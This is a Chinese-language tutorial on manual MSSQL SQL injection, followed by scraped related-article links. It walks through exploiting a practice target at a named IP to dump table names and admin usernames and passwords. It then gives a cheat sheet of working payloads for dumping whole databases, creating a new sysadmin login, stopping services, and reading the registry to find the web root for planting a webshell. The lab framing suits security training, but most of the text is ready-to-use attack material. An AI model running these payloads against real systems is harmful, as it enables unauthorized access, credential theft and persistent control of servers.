对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC。SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。

手工注入测试

这里我用墨者学院的靶场作为例子,来详细介绍一下每一步命令的原理。

第一步:查找注入点 http://219.153.49.228:40603/new_list.asp?id=2 and 1=1 页面返回正常说明存在注入点。

这里和mysql一样的判断方式

第二步:查找列数 http://219.153.49.228:40603/new_list.asp?id=2 order by 1成功 ;order by 2 成功;order by 3 失败; order by 4 成功;order by 5 失败 说明列数位于 3-4之间。

第三步:查找回显点 http://219.153.49.228:40603/new_list.asp?id=2 and 1=2 union all select null,null,null,null;挨个替换null 发现 select null,2,null,null 页面出现回显。

这里的1=2是将前面的查询结果变为假把位置腾出来显示我们后面进行查询的结果。union select不能用,就用union all select代替,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。区别就是union all查询的结果是允许重复的。mssql里不能用数字作为占位符,只能用null

第四步:查看数据库版本?id=2 and 1=2 union all select 1,(SERVERPROPERTY('edition')),'3',4;或者?id=2 and 1=2 union all select 1,(@@version),'3',4。查找所在库名称添加: ?id=2 and 1=2 union all select 1,(select db_name()), '3', 4 找到数据库名称。

提示:这里也可以使用db_name(1)、db_name(2)等查询其他数据库。(这里加'号是为了让数据类型一致)。SQL Server Express Edition(仅适用于bai 32 位)——学习版SQL Server Express 数据库平台基于 SQL Server 2005。





第五步:查找数据库表名称:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4 提示: xtype='U' 为 用户表

Top关键字:由于MSSQL中不存在limit,那么想要输出一条数据直接top 1,输出两条数据top 2,输出第二条数据top 1+限制条件。关于dbo.的意思参考,在MSSQL中每个库都有一个系统自带表-->sysobjects此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表

第六步:查找列名称:?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4 替换 col_name(object_id('manage'),1) 中的1 依次为 2,3,4查出所有列名。

col_name(object_id('manage'),1)这句将指定表的指定列的列名显示出来(col_name是系统函数,用法col_name(obj_id,col_id))

第七步:查取数据: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 获取用户名;?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 获取密码





第八步:MD5 解密

其他常用注入命令

确定数据库类型:

http://www.xxx.xxx/xxx.asp?id=6 and user>0

http://www.xxx.xxx/xxx.asp?id=6 and (select count(*) from sysobjects)>0 //正常返回就是mssql数据库

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员

and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限

and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

and exists(select * from tableName) //判断某表是否存在..tableName为表名

and 1=(select @@VERSION) //MSSQL版本

And 1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

获取当前数据库

and db_name()>0

获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top 1 * from 指定数据库..指定表名 where FOR XML PATH(''))--

一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--

添加和删除一个SA权限的用户test:(需要SA权限)

exec master.dbo.sp_addlogin test,password

exec master.dbo.sp_addsrvrolemember test,sysadmin

停掉或激活某个服务。 (需要SA权限)

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

暴网站目录

create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result); and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)

mssql 手工注入流程小结的更多相关文章

  1. 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

    sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...

  2. mssql手工注入及绕过术

      报错注入: - 例子:http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 [1]首先爆版本:http://www.kfgtfcj.xxx.cn ...

  3. MSSQL手工注入 报错注入方法

    例子:www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1[1]首先爆版本:http://www.kfgtfcj.gov.cn/lzygg/Zixun_show. ...

  4. SQLite手工注入方法小结

    SQLite 官网下载:www.sqlite.org/download.html sqlite管理工具:http://www.yunqa.de/delphi/products/sqlitespy/in ...

  5. mssql手工注入2

    --+ 先说一些函数的说明: substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度 ascii(char) ...

  6. mssql手工注入

    判断注入点: 1.数字型 http://www.targer.com/article.aspx?id=1 http://www.targer.com/article.aspx?id=1' http:/ ...

  7. mssql手工注入1

    强制字符转成数字, 所以报错, 能获得数据 查版本号: http: -- 查数据库版本: http: -- 查当前数据库用户(如果看到dbo 那么多半当前数据库的用户是dba权限): http: -- ...

  8. 手工注入——sql server (mssql)注入实战和分析

    前言 首先要对sql server进行初步的了解.常用的全部变量@@version:返回当前的Sql server安装的版本.处理器体系结构.生成日期和操作系统.@@servername:放回运行Sq ...

  9. sql工具和手工注入总结

    普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...

随机推荐

  1. Java实现第八届蓝桥杯魔方状态

    魔方状态 题目描述 二阶魔方就是只有2层的魔方,只由8个小块组成. 如图p1.png所示. 小明很淘气,他只喜欢3种颜色,所有把家里的二阶魔方重新涂了颜色,如下: 前面:橙色 右面:绿色 上面:黄色 ...

  2. 阿里云杨敬宇:边缘计算行业通识与阿里云ENS的技术演进之路

    近日,阿里云杨敬宇在CSDN阿里云核心技术竞争力在线峰会上进行了<5G基础设施-阿里云边缘计算的技术演进之路>主题演讲,针对5G时代下,行业和技术的趋势.边缘计算产业通识以及阿里云边缘计算 ...

  3. python自学Day07(自学书籍python编程从入门到实践)

    第8章 函数 函数是带名字的代码块,用于完成具体的工作. 学习定义函数,向函数传递信息. 学习如何编写主要任务是显示信息的函数,还有用于处理数据并返回一个或一组值得函数. 学习如何将函数存储在被称为模 ...

  4. 体验SpringBoot(2.3)应用制作Docker镜像(官方方案)

    关于<SpringBoot-2.3容器化技术>系列 <SpringBoot-2.3容器化技术>系列,旨在和大家一起学习实践2.3版本带来的最新容器化技术,让咱们的Java应用更 ...

  5. tensorflow2.0学习笔记第二章第四节

    2.4损失函数损失函数(loss):预测值(y)与已知答案(y_)的差距 nn优化目标:loss最小->-mse -自定义 -ce(cross entropy)均方误差mse:MSE(y_,y) ...

  6. React、Vue添加全局的请求进度条(nprogress)

    全局的请求进度条,我们可以使用nprogress来实现,效果如下: 首先需要安装插件: npm i nprogress -S 然后使用的时候主要有两种方式,第一种是切换页面的时候,第二种则是请求接口的 ...

  7. 这才是Android设置界面的正确做法👌👌👌

    话不多说,先上效果图 本文参考简书博客:<这才是Android设置界面的正确做法>一文写成,在其基础上删改并增加了一些内容.建议新窗口打开原文,在本文讲述不清楚的地方参考原文去寻找答案. ...

  8. Dedecms升级php版本{dede:field.body/}不解析,文章内容不显示

    Dedecms升级php7后发布文章后,发现前端显示的文章内容都是空白,只能显示标题.关键词.描述等. 第一种方法: 把{dede:field.body /}删除,使用 下面的sql 标签代码替换: ...

  9. HTML常用API(位置信息、音频视频)

    感谢:链接(讲解的很详细) 位置信息 1.代码: <script type="text/javascript"> navigator.geolocation.getCu ...

  10. 使用Applescript、Automator和AfredWorkflow实现流式工作

    重要:本文不会提供标题中三个工具的详细使用教程,只会对它们的进行简要的介绍.更高妙的使用技巧读者应自行钻研. 参考资料: 两个关于Applescript和Automator使用的PDF:https:/ ...